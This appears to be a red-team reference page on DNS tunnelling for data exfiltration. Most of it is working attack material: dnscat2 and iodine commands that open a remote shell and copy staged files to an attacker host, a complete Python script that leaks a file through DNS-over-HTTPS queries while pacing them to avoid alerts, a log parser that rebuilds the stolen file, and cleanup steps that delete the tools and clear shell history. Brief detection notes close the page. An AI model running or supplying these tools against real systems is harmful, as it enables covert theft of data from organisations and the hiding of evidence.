DNS tunnelling

Exfiltrating data encoded in DNS queries to an attacker-controlled authoritative DNS server. DNS traffic is permitted from almost every network and is rarely inspected for content.

Prerequisites

  • A registered domain (the attacker’s DNS server is authoritative for it)

  • An authoritative DNS server that logs all queries

  • Outbound DNS permitted from the target (check: nslookup google.com from target)

  • For DoH variant: outbound HTTPS to a public DoH resolver (nearly universal)

Classic DNS tunnelling with dnscat2

# on attacker server: start dnscat2 server
# dnscat2 encrypts the tunnel by default
ruby dnscat2.rb --dns domain=tunnel.example.com --no-cache

# on target: execute the dnscat2 client
# Windows (PowerShell)
.\dnscat2.exe tunnel.example.com --secret SECRET_KEY --delay 500

# Linux
./dnscat2 tunnel.example.com --secret SECRET_KEY --delay 500

# after connection, interactive shell:
dnscat2> session -i 1
command (target) 1> shell
dnscat2> session -i 2

File exfiltration via DNS with iodine

Iodine provides a full IP-over-DNS tunnel, which is more reliable for bulk data transfer but noisier than dnscat2:

# server setup (attacker)
iodined -f -P PASSWORD 10.0.0.1 tunnel.example.com

# client (target)
iodine -f -P PASSWORD tunnel.example.com
# creates a dns0 interface at 10.0.0.2

# once tunnel is up, use scp or rsync over it
scp /tmp/staged.zip attacker@10.0.0.1:/receive/

DNS-over-HTTPS exfiltration (avoids DNS monitoring)

DoH routes DNS queries through HTTPS to a trusted resolver. The ISP or corporate DNS monitoring sees only HTTPS traffic to Cloudflare (1.1.1.1) or Google (8.8.8.8), not the DNS query content.

The attacker must control a domain and its authoritative DNS server. The DoH request goes to the resolver, which forwards to the authoritative server; the query content is logged at the authoritative server.

import base64, requests, struct, time

def build_dns_query(name):
    # minimal DNS query in wire format, wrapped in DNS-over-HTTPS
    labels = name.split('.')
    qname = b''
    for label in labels:
        qname += bytes([len(label)]) + label.encode()
    qname += b'\x00'
    # header + question section
    query = (b'\x00\x00'  # ID
             b'\x01\x00'  # flags: standard query
             b'\x00\x01'  # questions: 1
             b'\x00\x00\x00\x00\x00\x00'  # answers, authority, additional: 0
             + qname
             + b'\x00\x10'  # type: TXT
             + b'\x00\x01') # class: IN
    return query

def exfil_via_doh(chunk, seq, domain, doh='https://cloudflare-dns.com/dns-query'):
    encoded = base64.b32encode(chunk).decode().rstrip('=').lower()
    # split into 60-char labels
    labels = [encoded[i:i+60] for i in range(0, len(encoded), 60)]
    query_name = '.'.join([f's{seq}'] + labels + [domain])
    query_wire = build_dns_query(query_name)

    r = requests.post(doh,
        data=query_wire,
        headers={'Content-Type': 'application/dns-message',
                 'Accept': 'application/dns-message'},
        timeout=10)
    return r.status_code

# exfiltrate a file in chunks
with open('staged.zip', 'rb') as f:
    seq = 0
    while True:
        chunk = f.read(50)  # 50 bytes per query (conservative)
        if not chunk:
            break
        exfil_via_doh(chunk, seq, 'tunnel.example.com')
        seq += 1
        time.sleep(2)  # pace to avoid query rate alerts

Receiving on the authoritative DNS server

The authoritative DNS server logs all queries. Extract the data from the logs:

# parse dnsmasq or bind9 query logs
import re, base64

log_lines = open('/var/log/dnsmasq.log').readlines()
chunks = {}
for line in log_lines:
    # extract query name from log
    m = re.search(r'query\[TXT\] (s\d+\.[a-z2-7]+)\.tunnel\.example\.com', line)
    if m:
        query = m.group(1)
        parts = query.split('.')
        seq = int(parts[0][1:])
        encoded = ''.join(parts[1:]).upper()
        # re-pad base32
        pad = (8 - len(encoded) % 8) % 8
        chunks[seq] = base64.b32decode(encoded + '=' * pad)

# reassemble in order
with open('received.zip', 'wb') as f:
    for k in sorted(chunks.keys()):
        f.write(chunks[k])

Verify and clean up

# confirm the received file is intact
md5sum staged.zip received.zip  # hashes should match

# on target: remove dnscat2/iodine client binary
rm -f dnscat2 iodine
# clear bash history
history -c

Detection notes

DNS tunnelling generates:

  • High query volume from a single host

  • Long subdomain labels

  • High entropy in subdomain portions

  • Queries to a single second-level domain from a host that does not normally resolve that domain

DoH exfiltration is harder to detect: the queries are encrypted and go to legitimate resolvers. Volume-based detection still applies if the DoH traffic is significantly higher than baseline.

Counter moves

Classic DNS tunnelling leaks through query volume, long labels, and high subdomain entropy. Entropy and per-source query-rate analysis on resolver logs are the standard catch, though DoH variants move the problem upstream. The defender’s view is in the blue notes on watching the exits.